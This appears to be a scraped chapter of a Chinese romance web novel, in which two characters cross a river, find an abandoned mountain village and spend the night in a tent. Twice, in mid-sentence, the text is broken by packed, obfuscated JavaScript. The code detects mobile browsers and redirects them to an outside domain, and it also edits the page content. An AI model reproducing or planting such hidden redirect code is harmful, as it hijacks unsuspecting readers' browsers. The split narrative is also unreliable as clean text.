乔小沐本以为李西宴抵达对岸后就不会再回来了,结果他只是将自己的背包放在了对岸,然后又涉水返回到了她这里。 李西宴的两条裤腿几乎全湿,由浅棕色变成了深棕。乔小沐好奇地比划了一下高度,水深竟然都到自己的腰了,惊讶之余,她忍不住问了李西宴一句:“你得有一米九了吧?”她的净身高都168了。 李西宴神不改色,语气淡然:“没那么高,188.4而已。” 乔小沐: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376463|153117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”谦虚地说着而已,却又不能省略点四。 呵,男人,身高比命都重要。 不过乔小沐也察觉到了,李西宴的眼眸中浮现着笑意,显然是在跟她打趣。 很好笑么?乔小沐心里觉得这个梗冷极了,却还是控制不住地勾起了唇角,莫名其妙地笑了一下……哈哈哈,该死的,好搞笑。 也是在这时,乔小沐才发现,李西宴这人其实挺接地气的,有贵公子的翩翩风度却又不失幽默感,并不是她想象中的那么高冷装逼——白白冤枉他了好几个月。 就在乔小沐开始犹豫是该淌着水过去还是直接游到对岸的时候,李西宴忽然曲膝弯腰,半蹲在了她面前:“上来,我背你过去。” 乔小沐:“……”这么霸道的么? 乔小沐有点儿不好意思:“我自己、” 还不等乔小沐把话说完呢,李西宴就不容置疑地打断了她的话:“水脏。” 仅仅两个字,彻底打消了乔小沐的不好意思。 虽说人在户外不应该矫矫情情地追求卫生护理,但在条件允许的情况下,为什么不注意生理卫生? 她如果自己淌水过去,腰以下的部位会全部被淹没,水确实是很脏,容易滋生细菌引发妇科疾病。 她都没想到的事情,他竟然想到了。 乔小沐脸颊微热,深深地看了李西宴一眼,感觉他这人,还是挺细心的。 乔小沐红着脸跳上了李西宴的后背,用双臂圈住了他的脖子,体温互缠的那一刻,她忽然感受到了一股莫名的熟悉感,像是在一刹那间回到了好多年前,她眼睛失明的那一段时光。 肆野也曾这么背着她,在无人的山野中淌过了一条条沟壑……他真的很像他。 深山荒芜,空气沁凉,浑浊的水流环绕着两人,乔小沐闭上了眼睛,遮盖了视觉,仅用余下的感官去感受外部世界。 大山中并非全然寂静,有风声,有树梢摆动的簌簌声,有鸟儿啼鸣或展翅震动空气的声音,还有流淌在身边的水声。 大自然反馈给她的一切感觉皆与五年前一模一样。 更神奇的是,眼睛闭上之后,那种熟悉的感觉竟然越发强烈了,如同火山口喷发出的热浪,灼灼滚烫,肆意涌动。 乔小沐无意识地屏住了呼吸,心跳砰砰。 到了对岸,李西宴放下了乔小沐。乔小沐睁开了眼睛,对着李西宴看了又看,忍不住开了口:“你、”却欲言又止,还是感觉不太可能,她心中的肆野不是这幅斯文矜贵的模样,“算了。” 李西宴却偏要追问她:“怎么了?” 乔小沐耸了耸肩:“没怎么,就是想跟你说声谢谢。”说罢就迈开了脚步,岔开话题似的催促道,“快走吧,能在太阳下山之前找到八沟杜鹃村就不错了。” 李西宴望着乔小沐的后背,深邃的眼眸中尽显无奈,轻而缓地叹了口气……是真的没认出来,还是不敢认、不想认? 犹豫和迟疑说明了她的摇摆和不确定。 失明衍生出的神秘感和英雄救美的俗套情节确实会令一位十八岁的少女情窦初开,所以李西宴也不确定乔小沐爱的到底是真实的他还是她想象中的他。 他亦讨厌不确定性,尤其是对于爱情。 他要的是唯一且坚定。 13.第 13 章 太阳渐行渐西,山中的光线逐渐暗淡,枝叶间的缝隙被夜色填补,高矮灌木和参天大树组合而成的山林越发显得幽深葱郁了。 多年无人踏足过的小路泥泞又狭窄,乔小沐和李西宴无法并肩而行,只能保持一前一后的队形。 起初是李西宴走在前方,乔小沐跟在他的身后,但自从太阳落到大山的西侧之后,乔小沐就不敢再继续垫后了——天一黑,她不由自主地就回想起了李西宴给她讲的那个鬼故事:古有怪志,夜幕降临,山野寂静,常有阴兵借道,冤鬼出没…… 万一、走着走着,她的身后突然响起了陌生的脚步声怎么办?忽然有一只手搭上了她的肩膀怎么办? 真是要了命了! 秉持着“死道友不死贫道”的心态,乔小沐一个侧绕加速,果断超越了李西宴,顺势将早就准备在手中的手电筒一举,正义凛然地开口:“我走前面,给你照明。” 李西宴看破不说破,笑着回了声:“行。” 随着时间的推移,湿冷的树林间越来越暗,一丝月光也投不进来,手电筒打出的银白色光柱是唯一光源,照哪哪亮,找不到的地方只有一团浓郁的黑暗,真正的伸手不见五指。 周遭万籁俱寂,仿佛与世隔绝一般,乔小沐心头慌慌,唯有听着身后李西宴的脚步声,她才能踏实一些,不然真的会被吓死。时不时地还会回头看李西宴一眼,生怕走着走着自己身后没人了。 突然间,视野前方骤然一阔,乔小沐心生欢喜,激动地大喊了一声:“咱们好像找到了!”她不由自主地就加快了脚步,小跑着冲出了树林。 李西宴紧随其后,忍不住叮嘱道:“你跑慢点,当心摔了。” 乔小沐根本就听不到李西宴的话,全然沉浸在了豁然开朗的视觉冲击中,像是武陵人误入桃花源。 道路尽头是一片废弃但平旷的菜地,菜地的另外一侧,伫立着数栋低矮的房屋。 群山环抱之中,月光照耀之下,这处被废弃了将近二十年的村庄竟彰显出了一种别样的宁静感,像是油画中的世界。 乔小沐站在菜地边沿,举着手电筒朝着房屋所在的方向照耀,情不自禁地感慨了句:“原来这里就是阿娟朝思暮想的家。” 长途跋涉,翻山越岭,她终于寻找到了八沟杜鹃村,终于亲眼看到了阿娟记忆中的家乡。 这里见证了阿娟的童年和少女时代……乔小沐相当之感性,恨不得当场写下一篇八百字的小作文,作文题目《阿娟和她的家乡》。 李西宴站在乔小沐身旁,相当冷静地说了句:“天太黑拍不出有价值的照片,最好先找个地方安营扎寨。” 乔小沐:“……”你这人,咋这么不解风情呢? 乔小沐一脸不满地看向了李西宴:“我们辛辛苦苦了那么久,好不容易找到了这里,你的内心就没有一丝波澜么?没有一点感悟吗?” 李西宴沉默片刻,实话实说:“不能说一点感悟也没有。” 乔小沐:“你的感悟是什么?” 李西宴认真回答说:“路不好走,花费了将近六个小时才找到,原路返回的时候可能会快一些,但至少也需要四小时。阿娟身体状况不明,我们的时间紧迫,明早拍完照之后必须立即赶回西辅,今晚要是不早点休息,很有可能会猝死在返程的途中。” 乔小沐:“……”你这男人真是该死的务实啊! 乔小沐气就气在她没法儿反驳李西宴,接连折腾了三天,她的身体状态已经极度疲乏,要是再不好好休息一晚,真有可能会魂断异乡。 俩人不再浪费时间,顺着田间小路穿过了荒废的菜地,来到了村落的入口处。 离远了看,这一栋栋散落在山谷间的废弃房屋并不吓人,反而格外的安详静谧,然而走近了之后,用手电光一照,乔小沐才发现它们早已被藤蔓和青苔吞噬了——黑黢黢的窗户和门框像是一张张怪物的嘴巴,吐出的舌头是无穷无尽的绿色植被,密不透风地将房体尽数包裹了起来。 乔小沐悄悄地在心中将作文题目改成了:《夜间鬼话之深山老村》 两人来时也没想到进山的路会这么难走,竟然一路走到了天黑、需要原地过夜,所以来之前只背了一顶折叠帐篷。 现在好了,装备不足的后果就是孤男寡女必须凑合着挤在一片迷你小空间里过夜,翻个身的空间都没有。 乔小沐特别不好意思,唯恐昨天早上的尴尬事情再度发生,但内心深处却又有些庆幸,幸好睡觉的时候身边有人陪,不然要是让她在这种环境中独自一人睡一顶帐篷,她能被吓得睁眼到天亮。 就在乔小沐扭扭捏捏、犹犹豫豫着不好意思钻进帐篷里的时候,李西宴忽然开了口:“背对背睡吧。” 他看出来了她的担忧和顾虑。 乔小沐这才松了口气:“好。” 背对背睡觉,既能感受到同伴在身边的踏实感,又能避免男女同寝的尴尬之处。 帐篷拉上之后,小空间彻底独立了起来。 乔小沐一直枕着手臂侧躺着,李西宴侧身躺下去之后,两人的后背就紧贴在了一起。 虽然隔着几层衣物,但乔小沐依旧能感受到温度和坚实感,像是靠着一座山。 封闭的帐篷内,两道呼吸此起彼伏,皆是平稳又缓慢,像是睡着了,又像是在故意克制呼吸节奏,生怕惊动对方。 乔小沐紧紧地闭着眼睛,越想要赶紧睡着就越是睡不着,反而还为此着急上火了起来……该死的,怎么就不困呢?怎么就不困呢!我明明都累死了,怎么就睡不着呢? 根本不可能忽略李西宴的存在。 就在乔小沐烦躁不安的时候,外界忽然刮起了一阵狂风,冲撞着他们的帐篷呼啸而过,发出了一阵鬼哭狼嚎似的声音。 这下乔小沐更睡不着了,满脑子想的全是:阴兵借道。 这个该死的李西宴!为什么要吓唬她?! 乔小沐深深地吸了一口气之后,咬牙切齿地开了口:“李西宴,你睡着了吗?” “还没有,怎么了?” 李西宴的声音自她身后传来,一如既往的从容平静,乔小沐却愈发气急败坏:“我也睡不着,因为你给我讲的鬼故事,我害怕。” 李西宴:“……” 乔小沐愤愤不平:“我明天要是猝死了,你就给我等着吧,我的冤魂一定不会放过你。” 李西宴突然就自责了起来,早知道她胆子这么小,就不吓唬她了。 “都是我自己编的故事。”李西宴歉然又笃定地说道,“世界上既没有神也没有鬼,要是真的有,早就被科学家抓去做实验了。” 乔小沐冷哼一声:“亡羊补牢,我的精神值早就开始下跌了,你弥补也没有用!” 精神值下跌?看来只能用精神法则弥补了。 李西宴思索片刻,再度开口,一本正经:“生活处处是考验,只要你能够抵抗得了内心的恐惧感,财运就会一直兴旺。” 乔小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389702|153117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沐:“?”神经啊,怎么忽然搞起玄学了。 乔小沐都被气笑了:“我一个字都不信!” 李西宴不假思索:“我带你去荣兴,里面的东西随你挑。” 荣兴街,西辅城内全球各大奢饰品品牌的驻扎地,包括但不限于爱马仕、香奈儿、阿玛尼。 乔小沐:“……”真管用啊,一下子就不害怕了,甚至还有点不好意思。 为了不让自己显得那么贪财,乔小沐谦虚了一下下:“那个、无功不受禄,我绝对不能不劳而获。” 李西宴:“是我对乔老板的补偿。” 乔小沐丝滑接应:“啊,原来您是这个意思,那您也太客气了吧。” 李西宴:“……”这态度转变的,都开始用“您”了。 李西宴忍俊不禁:“还害怕么?” 乔小沐:“精神值稍微提高了一些。” 李西宴:“只是稍微?” 乔小沐没好气:“你不会真以为钱能买来一切吧?” 李西宴又想了想,道:“要不,用红绳把咱们俩的手腕绑在一起?” 乔小沐:“你又在想什么鬼点子?” 李西宴:“你不是生我的气么,用红绳把手腕绑在一起,我们就相当于一条绳上的蚂蚱了,到时候就算有鬼怪攻击你,我也得和你一起承受。” 乔小沐:“……”搞抽象?还捆绑play?你的精神状态可真颠啊! 乔小沐默默地在心里给李西宴贴上了“颠公”的标签,然后,问了句:“红绳在哪儿?”其实她也是个颠婆。 李西宴起身,把帐篷收纳袋口袋的那根红色尼龙绳给抽了下来,递给了紧跟在他身后坐起来的乔小沐。 乔小沐手握红绳,面无表情地看着李西宴:“我不要绑手腕。” 李西宴:“那你准备绑在哪?” 乔小沐没说话,只行动,用红绳把他俩的脚腕绑在一起了,边绑还边邪恶地笑:“嘿嘿,绑手腕你容易跑,绑脚腕你肯定跑不了。” 李西宴:“……”你最好悠着点儿绑,明天别再解不开了。 等到他们俩重新背靠背地躺下去之后,乔小沐长舒了一口气,终于可以安心地闭上眼睛了…… 不对,等等,我怎么也开始跟着玩抽象了? 乔小沐又猛然把眼睛给睁开了,越想越觉得离谱——她怎么就跟李西宴玩上捆绑play了? 而且这又是荒村野岭,又是孤男寡女,还玩捆绑,这事要是传出去了,人家会怎么看待他们俩? 更离谱的是,前天晚上他们俩才被举报过卖/淫嫖/娼,简直能让娱记写出来一千字小作文,标题:《李氏集团太子爷和其娇妻在野外共度四天三晚激/情夜》 太羞耻了! 太难堪了! 都怪李西宴,把她带坏了,她明明很纯洁哒! “以后你不许再乱出馊主意!”乔小沐愤怒地蹬了蹬脚,腕部的尼龙绳结实地捆绑着她和李西宴,根本蹬不开,“传出去之后像什么话?” 现在才反应过来? 李西宴无声一笑,温和开口,安抚着说了句:“别多想了,赶快睡觉吧,明天还有的忙。” 乔小沐哼了一声,拳头越攥越紧,斩钉截铁地在心里发誓:明早天一亮,我就会冲出这个帐篷,离你这个罪恶源远远的! 然而天不遂人愿,第二天一早起来,乔小沐绝望地发现,绑在他俩脚腕上的尼龙绳解不开了……彻底锁死。